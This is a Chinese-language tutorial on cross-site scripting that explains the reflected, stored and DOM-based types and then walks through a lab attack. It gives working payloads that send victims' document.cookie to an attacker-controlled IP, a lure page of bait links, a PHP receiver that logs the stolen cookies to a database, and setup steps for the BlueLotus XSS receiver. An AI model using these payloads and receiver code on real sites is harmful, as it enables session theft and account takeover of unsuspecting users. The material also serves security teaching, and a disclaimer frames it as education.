OWASPtop10——XSS跨站脚本攻击
本文最后更新于 2024-07-26,文章内容可能已经过时。
XSS
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
一、概述
1、xss: cross site scripting 跨站攻击脚本。利用浏览器进行脚本解析,攻击受害者。
注意:这种攻击主要是攻击客户端,对打开浏览器访问网页的用户产生影响,不会对服务器产生影响。攻击是一次性的,点击完即结束
第一种:反射型:
直接将js代码附在url中,把url发送给指定的用户。引诱其点击。
(1)非DOM型:直接把用户输入的内容显示在页面上,不修改任何html标签的属性
(2)DOM型:会修改html标签
第二种:存储型
把js代码通过后端漏洞,存入数据库中,由于页面在接受服务器返回响应中存在从数据库中取出的js代码,造成访问该页面的所有用户被攻击。
2、利用的前提
(1)网页有用户输入的地方
(2)用户的输入内容会被输出在网页中
(3)诱导用户点击包含恶意代码的链接地址
3、危害
1、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作,例如进行非法转账、强制发表日志、发送电子邮件等;
2、强制弹出广告页面、刷流量等;
3、网页挂马,进行恶意操作,例如任意篡改页面信息、删除文章等;
4、进行大量的客户端攻击,如DDoS攻击;
二、代码演示:
192.168.248.128是黑客机器
192.168.20.45是受害者机器
反射型:
cookie获取,盗用用户身份(越权):
1、在linux服务器上,创建一个js文件getcookie.js
new Image()意思是动态创建一个Img标签,并且请求src的地址获取图片
new Image().src='http://192.168.248.128/attack/receivecookie.php?ucookie='+document.cookie
2、在linux服务器上,创建girl.html,里面包含着能吸引用户点击的链接地址
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<a href="http://192.168.20.45/hz03/goods/product/php/productlist.php?goodsname=<script>alert(1)</script>&search=1">
<img src="0.jpg" width="200px" height="200px">约吗?</a>
<br>
<a href="http://192.168.20.45/hz03/goods/product/php/productlist.php?goodsname=<script src='http://192.168.248.128/attack/getcookie.js'></script>&search=1">
<img src="0.jpg" width="200px" height="200px">约吗?</a>
<br>
<a href="http://192.168.20.45/hz03/goods/product/php/productlist.php?goodsname=<script>new Image().src='http://192.168.248.128/attack/receivecookie.php?ucookie='%2bdocument.cookie</script>&search=1">
<img src="0.jpg" width="200px" height="200px">约吗?</a>
</body>
</html>
3、在linux上创建一个专门接受用户cookie的php文件,receivecookie.php
<?php
include '../goods/common/dbconn.php';
$ucookie = $_GET['ucookie'];
$refers = $_SERVER['HTTP_REFERER'];
$sql = "insert into usercookies(cookies,refers,createtime) values('$ucookie','$refers',now())";
$result = mysqli_query($conn,$sql);
if(!$result){
echo mysqli_error($conn);
}
mysqli_close($conn);
?>
4、数据库中创建一张表,保存用户的cookie
CREATE TABLE `usercookies` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`cookies` varchar(1000) DEFAULT NULL,
`refers` varchar(255) DEFAULT NULL,
`createtime` datetime DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
存储型:
找到可以输入信息并且输入的信息还会回显在某个页面上。例如评论
写入js脚本页面可能没有回显,需要查看其他页面回显位置。
在发帖子的内容输入框中输入类似如下的脚本:
<script>new Image().src="http://192.168.248.128/xssattack/getcookie.php?ucookie="+document.cookie</script>
或者发帖内容包含如下脚本:
<script src="http://192.168.248.248/xssattack/getcookie.js"></script>
DOM型:
找到一个页面上有input输入框的,并且输入的参数可以回显在这个输入框中:
"><script>new Image().src="http://192.168.248.128/attack/receivecookie.php?ucookie="+document.cookie</script> <span a="
三、BlusLotus工具
1、下载地址,需要注册github账号
https://github.com/firesunCN/BlueLotus_XSSReceiver?tab=readme-ov-file
2、把压缩文件上传到/opt/lampp/htdocs目录
3、解压缩
unzip BlueLotus_XSSReceiver-master.zip
4、修改目录名称
mv BlueLotus_XSSReceiver-master bluelotus
5、修改目录权限
chmod -R 777 bluelotus
6、访问地址
http://192.168.136.129/bluelotus/install.php
点击上图的登录按钮
输入密码后,登录成功
7、添加自己的模板
在左侧树形菜单选择”我的JS“—>插入模板—>default.js
输入文件名,文件描述,点击底部的”新增“按钮
把攻击脚本复制出来,在发帖的内容部分输入,即可。
点击“提交”按钮
点击最后一个帖子,此时攻击开始了
可以看到收到了一条用户的cookie信息
- 感谢你赐予我前进的力量